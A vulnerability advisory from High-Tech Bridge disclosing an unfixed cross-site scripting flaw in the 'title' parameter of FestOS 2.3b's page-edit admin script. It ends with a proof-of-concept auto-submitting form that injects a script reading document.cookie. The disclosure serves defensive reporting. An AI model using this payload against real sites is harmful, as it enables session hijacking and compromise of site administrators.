Vulnerability ID: HTB22472 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_festos.html Product: FestOS Vendor: Skypanther Studios, Inc ( http://festengine.org/ ) Vulnerable Version: 2.3b and Probably Prior Versions Vendor Notification: 01 July 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "/admin/do_pages_edit.php" script to properly sanitize user-supplied input in "title" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/do_pages_edit.php"; method="post" name="main" > <input type="hidden" name="pageID" value="2" /> <input type="hidden" name="title" value='title"><script>alert(document.cookie)</script>' /> <input type="hidden" name="alias" value="home" /> <input type="hidden" name="active" value="1" /> <input type="hidden" name="contents" value='page content here...' /> </form> <script> document.main.submit(); </script>
